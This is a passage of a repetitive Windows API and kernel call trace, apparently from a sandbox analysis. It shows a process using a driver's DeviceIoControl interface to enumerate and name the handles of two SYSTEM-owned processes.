PsReleaseProcessExitSynchronization () returned 0x2 [0068.075] ObfDereferenceObject (Object=0xfffffa8002ef9060) returned 0x7f [0068.075] ObQueryNameString (in: Object=0xfffff8a002399cd0, ObjectNameInfo=0xfffffa800344e7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800344e7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.075] ObfDereferenceObject (Object=0xfffff8a002399cd0) returned 0x1 [0068.075] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.075] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.075] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0xc0 [0068.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.075] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80018b8060, HandleInformation=0x0) returned 0x0 [0068.075] ObOpenObjectByPointer (in: Object=0xfffffa80018b8060, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff800009c4) returned 0x0 [0068.075] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x71 [0068.075] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009c4, DesiredAccess=0x8, TokenHandle=0xfffffa80037ef100 | out: TokenHandle=0xfffffa80037ef100*=0xc8) returned 0x0 [0068.075] ZwClose (Handle=0xffffffff800009c4) returned 0x0 [0068.075] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.075] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.075] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.273] CloseHandle (hObject=0xc8) returned 1 [0068.273] CloseHandle (hObject=0xc0) returned 1 [0068.273] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.273] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.273] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.273] PsAcquireProcessExitSynchronization () returned 0x0 [0068.273] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.273] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003006f20, HandleInformation=0x0) returned 0x0 [0068.273] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.273] PsReleaseProcessExitSynchronization () returned 0x2 [0068.273] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.273] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003955044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003955044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.273] ObfDereferenceObject (Object=0xfffffa8003006f20) returned 0x1 [0068.273] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.273] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.273] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0068.274] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.274] PsAcquireProcessExitSynchronization () returned 0x0 [0068.274] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.274] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003047790, HandleInformation=0x0) returned 0x0 [0068.274] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.274] PsReleaseProcessExitSynchronization () returned 0x2 [0068.274] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.274] ObQueryNameString (in: Object=0xfffffa8003047790, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.274] ObfDereferenceObject (Object=0xfffffa8003047790) returned 0x1 [0068.274] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.274] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.274] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.274] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0068.275] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.275] PsAcquireProcessExitSynchronization () returned 0x0 [0068.275] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.275] ObReferenceObjectByHandle (in: Handle=0xcc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003049f20, HandleInformation=0x0) returned 0x0 [0068.275] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.275] PsReleaseProcessExitSynchronization () returned 0x2 [0068.275] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.275] ObQueryNameString (in: Object=0xfffffa8003049f20, ObjectNameInfo=0xfffffa80038f1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.275] ObfDereferenceObject (Object=0xfffffa8003049f20) returned 0x2 [0068.275] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.275] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.276] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x46, lpOverlapped=0x0) returned 1 [0068.276] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.276] PsAcquireProcessExitSynchronization () returned 0x0 [0068.276] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.276] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003049dd0, HandleInformation=0x0) returned 0x0 [0068.276] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.276] PsReleaseProcessExitSynchronization () returned 0x2 [0068.276] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.276] ObQueryNameString (in: Object=0xfffffa8003049dd0, ObjectNameInfo=0xfffffa8003964044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003964044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.276] ObfDereferenceObject (Object=0xfffffa8003049dd0) returned 0x1 [0068.276] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.276] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.276] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0068.276] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.276] PsAcquireProcessExitSynchronization () returned 0x0 [0068.276] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.276] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030c2490, HandleInformation=0x0) returned 0x0 [0068.276] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.276] PsReleaseProcessExitSynchronization () returned 0x2 [0068.276] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.276] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8003965044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa8003965044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.276] ObfDereferenceObject (Object=0xfffffa80030c2490) returned 0x1 [0068.276] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.276] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.276] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.276] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.276] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.276] PsAcquireProcessExitSynchronization () returned 0x0 [0068.276] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.276] ObReferenceObjectByHandle (in: Handle=0x12c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030f7dd0, HandleInformation=0x0) returned 0x0 [0068.277] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.277] PsReleaseProcessExitSynchronization () returned 0x2 [0068.277] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.277] ObQueryNameString (in: Object=0xfffffa80030f7dd0, ObjectNameInfo=0xfffffa8003966044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003966044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.277] ObfDereferenceObject (Object=0xfffffa80030f7dd0) returned 0x2 [0068.277] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.277] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.277] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.277] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.277] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.277] PsAcquireProcessExitSynchronization () returned 0x0 [0068.277] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.277] ObReferenceObjectByHandle (in: Handle=0x130, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fb070, HandleInformation=0x0) returned 0x0 [0068.277] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.277] PsReleaseProcessExitSynchronization () returned 0x2 [0068.277] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.277] ObQueryNameString (in: Object=0xfffffa80030fb070, ObjectNameInfo=0xfffffa8003967044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003967044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.277] ObfDereferenceObject (Object=0xfffffa80030fb070) returned 0x2 [0068.277] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.277] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.277] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x76, lpOverlapped=0x0) returned 1 [0068.278] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.278] PsAcquireProcessExitSynchronization () returned 0x0 [0068.278] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.278] ObReferenceObjectByHandle (in: Handle=0x134, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030fc6b0, HandleInformation=0x0) returned 0x0 [0068.278] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.278] PsReleaseProcessExitSynchronization () returned 0x2 [0068.278] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.278] ObQueryNameString (in: Object=0xfffffa80030fc6b0, ObjectNameInfo=0xfffffa800396c044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396c044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.278] ObfDereferenceObject (Object=0xfffffa80030fc6b0) returned 0x2 [0068.278] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.278] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.278] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.278] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.278] PsAcquireProcessExitSynchronization () returned 0x0 [0068.278] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.278] ObReferenceObjectByHandle (in: Handle=0x14c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80030ff790, HandleInformation=0x0) returned 0x0 [0068.278] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.278] PsReleaseProcessExitSynchronization () returned 0x2 [0068.278] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.278] ObQueryNameString (in: Object=0xfffffa80030ff790, ObjectNameInfo=0xfffffa800396d044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396d044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.278] ObfDereferenceObject (Object=0xfffffa80030ff790) returned 0x2 [0068.278] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.278] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.278] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0068.278] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0068.278] PsLookupProcessByProcessId (in: ProcessId=0x178, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.278] PsAcquireProcessExitSynchronization () returned 0x0 [0068.278] KeStackAttachProcess (in: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018b8060, ApcState=0xfffff880054f85d0) [0068.279] ObReferenceObjectByHandle (in: Handle=0x150, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003100070, HandleInformation=0x0) returned 0x0 [0068.279] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.279] PsReleaseProcessExitSynchronization () returned 0x2 [0068.279] ObfDereferenceObject (Object=0xfffffa80018b8060) returned 0x6f [0068.279] ObQueryNameString (in: Object=0xfffffa8003100070, ObjectNameInfo=0xfffffa800396e044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800396e044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.279] ObfDereferenceObject (Object=0xfffffa8003100070) returned 0x2 [0068.279] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.279] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0068.279] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0xc0 [0068.279] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0068.279] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff880054f8668, HandleInformation=0x0 | out: Object=0xfffff880054f8668*=0xfffffa80018ba540, HandleInformation=0x0) returned 0x0 [0068.279] ObOpenObjectByPointer (in: Object=0xfffffa80018ba540, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff880054f8670 | out: Handle=0xfffff880054f8670*=0xffffffff800009c4) returned 0x0 [0068.279] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x14b [0068.279] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009c4, DesiredAccess=0x8, TokenHandle=0xfffffa800289f900 | out: TokenHandle=0xfffffa800289f900*=0xc8) returned 0x0 [0068.279] ZwClose (Handle=0xffffffff800009c4) returned 0x0 [0068.279] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.279] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0068.279] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="SYSTEM", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0068.281] CloseHandle (hObject=0xc8) returned 1 [0068.281] CloseHandle (hObject=0xc0) returned 1 [0068.281] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0068.281] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.281] PsAcquireProcessExitSynchronization () returned 0x0 [0068.281] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.281] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003011f20, HandleInformation=0x0) returned 0x0 [0068.281] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.281] PsReleaseProcessExitSynchronization () returned 0x2 [0068.281] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.281] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800396f044, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa800396f044, ReturnLength=0xfffff880054f8508) returned 0x0 [0068.281] ObfDereferenceObject (Object=0xfffffa8003011f20) returned 0x1 [0068.281] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.281] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.281] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.281] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x4c, lpOverlapped=0x0) returned 1 [0068.283] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.283] PsAcquireProcessExitSynchronization () returned 0x0 [0068.283] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.283] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a004ab7f60, HandleInformation=0x0) returned 0x0 [0068.283] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0068.283] PsReleaseProcessExitSynchronization () returned 0x2 [0068.283] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x149 [0068.283] ObQueryNameString (in: Object=0xfffff8a004ab7f60, ObjectNameInfo=0xfffffa8003970044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003970044, ReturnLength=0xfffff880054f8550) returned 0x0 [0068.283] ObfDereferenceObject (Object=0xfffff8a004ab7f60) returned 0x2 [0068.283] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0068.283] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec15e0 | out: hHeap=0x150000) returned 1 [0068.283] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec15e0 [0068.283] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec15e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec15e0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0068.283] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0068.283] PsAcquireProcessExitSynchronization () returned 0x0 [0068.283] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff880054f85d0) [0068.283] ObReferenceObjectByHandle (in: Handle=0xb4, 